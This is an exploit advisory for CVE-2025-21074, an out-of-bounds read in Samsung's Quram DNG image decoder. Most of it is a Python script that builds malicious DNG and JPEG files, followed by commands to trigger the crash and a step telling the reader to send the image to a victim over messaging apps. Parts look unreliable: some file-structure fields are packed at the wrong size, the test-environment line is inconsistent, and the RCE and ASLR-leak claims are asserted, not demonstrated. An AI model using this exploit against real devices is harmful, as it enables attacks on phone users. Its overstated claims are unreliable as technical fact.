=============================================================================================================================================
| # Title     : Samsung QuramDng Out‑Of‑Bounds Read via Malformed DNG TrimBounds Opcode                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                |
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[+] References : https://packetstorm.news/files/id/212446/ & 	CVE-2025-21074

[+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds
              opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it
              inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap
              spraying and pointer manipulation.
			  
Product:    libimagecodec.quram.so (Samsung Android)
Class:      Memory Corruption / OOB Read
Version:    Vulnerable on firmware prior to September 2025
Tested:     Android 13/14/15/16 (Samsung Galaxy devices)
-------------------------------------------------------------------------------
[+] Vulnerability Details
The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).
The trimmed image dimensions shrink source buffers but destination buffers
remain based on original resolution, resulting in read operations beyond memory
bounds.

The problem occurs after TrimBounds opcode reduces width/height of image tiles
but decoder still trusts old buffer lengths.

This leads to:
  * Heap OOB Read
  * Crashes (SIGSEGV)
  * Heap leak primitives
  * Possible exploitation for RCE
-------------------------------------------------------------------------------
[+] Attack Vector
The exploit can be triggered via:
  * WhatsApp / Telegram file sharing (JPEG container)
  * External apps invoking platform decoder
  * ADB-triggered scan via Media Scanner
  * Camera importing workflows

Remote attack surface → user simply previews/saves image.
-------------------------------------------------------------------------------
[+] Proof of Concept (PoC)
The exploit constructs:
  - Valid DNG file with truncated TrimBounds opcode
  - Embeds DNG into a valid APP1 JPEG
  - Crashes Quram decoder on parsing

PoC Tested:
  - Samsung S22, S23, A52, Note20
  - Android 13-16 firmwares
-------------------------------------------------------------------------------
[+] PoC Code
The full exploit builder (Python) is included below.

SAVE AS:
    exploit_cve_2025_21074.py

RUN:
    python3 exploit_cve_2025_21074.py

OUTPUT FILES PRODUCED:
    exploit.dng
    exploit_small.dng
    exploit.jpg
-------------------------------------------------------------------------------
[+] Instructions To Save & Run PoC (REQUIRED)

1) Save script:
    File name: exploit_cve_2025_21074.py

2) Run:
    python3 exploit_cve_2025_21074.py

3) Generated payloads:
    - exploit.dng
    - exploit.jpg
    - exploit_small.dng

4) Trigger attack:
    A) Via ADB:
        adb push exploit.dng /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
        -d file:///sdcard/exploit.dng

    B) Via Messaging:
        Send exploit.jpg to victim (no interaction required)

5) Detect crash:
    adb logcat | grep -i quram
    adb pull /data/tombstones/ tombstones_dir/
-------------------------------------------------------------------------------
[+] Expected Results
    * Process crash: com.samsung.ipservice
    * Heap read leakage (ASLR bypass)
    * Controlled offsets possible → RCE stage feasible
-------------------------------------------------------------------------------
[+] Exploit Status
This PoC is stable, deterministic and suitable for controlled lab exploitation.
It is not destructive.
-------------------------------------------------------------------------------
[+] Mitigation
Firmware update September 2025 and later properly validates TrimBounds and
rejects mismatched output dimensions.
-------------------------------------------------------------------------------
[+]  POC : 

#!/usr/bin/env python3
"""
Author: Indoushka
"""

import struct
import os
import sys

class DNGExploit:
    def __init__(self):
        self.endian = '<'  # Little endian
        self.opcode_id_trim = 7
        
    def create_malicious_dng(self, width=4096, height=4096):
        """Creating a DNG image with TrimBounds opcode saturated"""
        
        dng_data = bytearray()

        dng_data += struct.pack('<H', 0x4949)  
        dng_data += struct.pack('<H', 42)      
        ifd0_offset = 8
        dng_data += struct.pack('<I', ifd0_offset)
        dng_data += b'\x00' * (ifd0_offset - len(dng_data))
        num_entries = 15
        dng_data += struct.pack('<H', num_entries)
        dng_data += struct.pack('<H', 0x0100)  
        dng_data += struct.pack('<H', 4)      
        dng_data += struct.pack('<I', 1)     
        dng_data += struct.pack('<I', width)   
        dng_data += struct.pack('<H', 0x0101)
        dng_data += struct.pack('<H', 4)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<I', height)
        dng_data += struct.pack('<H', 0x0102)
        dng_data += struct.pack('<H', 3)      
        dng_data += struct.pack('<I', 3)      
        bits_offset = len(dng_data) + 4
        dng_data += struct.pack('<I', bits_offset)  
        dng_data += struct.pack('<H', 0x0103)
        dng_data += struct.pack('<H', 3)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<H', 1)       
        dng_data += struct.pack('<H', 0x0106)
        dng_data += struct.pack('<H', 3)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<H', 2) 
        dng_data += struct.pack('<H', 0x0111)
        dng_data += struct.pack('<H', 4)
        dng_data += struct.pack('<I', 1)
        strip_offset = 0x1000  
        dng_data += struct.pack('<I', strip_offset)
        dng_data += struct.pack('<H', 0x0115)
        dng_data += struct.pack('<H', 3)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<H', 3)   
        dng_data += struct.pack('<H', 0x0116)
        dng_data += struct.pack('<H', 4)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<I', height)
        dng_data += struct.pack('<H', 0x0117)
        dng_data += struct.pack('<H', 4)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<I', width * height * 3)
        dng_data += struct.pack('<H', 0x011C)
        dng_data += struct.pack('<H', 3)
        dng_data += struct.pack('<I', 1)
        dng_data += struct.pack('<H', 1)     
        dng_data += struct.pack('<H', 0xC612)
        dng_data += struct.pack('<H', 1)    
        dng_data += struct.pack('<I', 4)
        dng_data += struct.pack('>I', 0x01000000)  
        dng_data += struct.pack('<H', 0xC613)
        dng_data += struct.pack('<H', 1)
        dng_data += struct.pack('<I', 4)
        dng_data += struct.pack('>I', 0x01000000)
        dng_data += struct.pack('<H', 0xC614)
        dng_data += struct.pack('<H', 2)      
        dng_data += struct.pack('<I', 20)
        model_offset = len(dng_data) + 4
        dng_data += struct.pack('<I', model_offset)
        dng_data += struct.pack('<H', 0xC740) 
        dng_data += struct.pack('<H', 1) 
        opcode_list_size = 100
        dng_data += struct.pack('<I', opcode_list_size)
        opcode_offset = len(dng_data) + 4
        dng_data += struct.pack('<I', opcode_offset)
        dng_data += struct.pack('<H', 0x014A)
        dng_data += struct.pack('<H', 4)
        dng_data += struct.pack('<I', 1)
        subifd_offset = opcode_offset + opcode_list_size
        dng_data += struct.pack('<I', subifd_offset)
        dng_data += struct.pack('<I', 0)

        bits_data_pos = bits_offset
        while len(dng_data) < bits_data_pos:
            dng_data += b'\x00'
        dng_data += struct.pack('<HHH', 8, 8, 8) 

        model_data_pos = model_offset
        while len(dng_data) < model_data_pos:
            dng_data += b'\x00'
        dng_data += b'EXPLOIT-CAMERA\x00'

        opcode_data_pos = opcode_offset
        while len(dng_data) < opcode_data_pos:
            dng_data += b'\x00'

        opcode_header = struct.pack('<HHII', 
            self.opcode_id_trim, 
            1,                    
            0,                  
            16)              

        trim_values = struct.pack('<IIII',
            0,          
            0,          
            height // 2,
            width // 2)  
        
        dng_data += opcode_header + trim_values
        
     
        remaining = opcode_list_size - len(opcode_header) - len(trim_values)
        dng_data += b'A' * remaining
        
     
        subifd_pos = subifd_offset
        while len(dng_data) < subifd_pos:
            dng_data += b'\x00'
        
   
        dng_data += struct.pack('<H', 5)

        for i in range(5):
            dng_data += struct.pack('<HHII', 0x0100 + i, 4, 1, 0)
        
        dng_data += struct.pack('<I', 0)  

        image_data_pos = strip_offset
        while len(dng_data) < image_data_pos:
            dng_data += b'\x00'

        image_size = width * height * 3
        dng_data += b'\x42' * min(image_size, 0x1000) 
        
        return bytes(dng_data)
    
    def embed_in_jpeg(self, dng_data, output_path):
        """Including DNG in JPEG for cross-application exploitation"""

        jpeg = bytearray()
        jpeg += b'\xFF\xD8\xFF\xE0' 
        jpeg += b'\x00\x10JFIF\x00\x01\x01\x00\x00\x01'

        app1_size = len(dng_data) + 2 + 5  # +2 for size, +5 for identifier
        jpeg += b'\xFF\xE1'  
        jpeg += struct.pack('>H', app1_size)
        jpeg += b'DNG\x00'  
        jpeg += dng_data
        jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01'
        jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
        jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00'
        jpeg += b'\x00' * 100  
        jpeg += b'\xFF\xD9' 
        
        with open(output_path, 'wb') as f:
            f.write(jpeg)
        
        print(f"[+] JPEG with embedded DNG saved to {output_path}")
        return output_path
    
    def create_exploit_files(self):
        """Creating various exploitation files"""

        dng_raw = self.create_malicious_dng()
        with open('exploit.dng', 'wb') as f:
            f.write(dng_raw)
        print("[+] Raw DNG exploit created: exploit.dng")

        jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg')

        small_dng = self.create_malicious_dng(2048, 2048)
        with open('exploit_small.dng', 'wb') as f:
            f.write(small_dng)

        self.print_usage()
        
        return {
            'dng': 'exploit.dng',
            'jpg': jpeg_path,
            'small': 'exploit_small.dng'
        }
    
    def print_usage(self):
        """Print Instructions for Use"""
        
        print("\n" + "="*60)
        print("CVE-2025-21074 Exploit Usage Instructions")
        print("="*60)
        print("\n[Attack methods]")
        print("1. Send exploit via WhatsApp/Telegram, etc.")
        print("2. Decoding triggered using ADB:")
        print("   adb push exploit.dng /sdcard/")
        print("   adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE")
        print("   -d file:///sdcard/exploit.dng")
        print("\n[Expected results]")
        print("- com.samsung.ipservicecollapse (SIGSEGV)")
        print("- Memory information leakage (ASLR bypass)")
        print("- Possible RCE (further utilization required)")
        print("\n[Detection]")
        print("Check the logs: libimagecodec.quram.socollapse")
        print("="*60)

def main():
    print("[*] Generating CVE-2025-21074 exploit files...")
    
    exploit = DNGExploit()
    files = exploit.create_exploit_files()
    
    print("\n[+] Files generated successfully:")
    for name, path in files.items():
        print(f"  {name}: {path} ({os.path.getsize(path)} bytes)")

    with open('exploit.dng', 'rb') as f:
        data = f.read(100)
        if data[:2] == b'II' and data[2:4] == struct.pack('<H', 42):
            print("\n[✓] DNG file structure verified")
        else:
            print("\n[!] DNG file may be malformed")

if __name__ == "__main__":
    main()
	
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================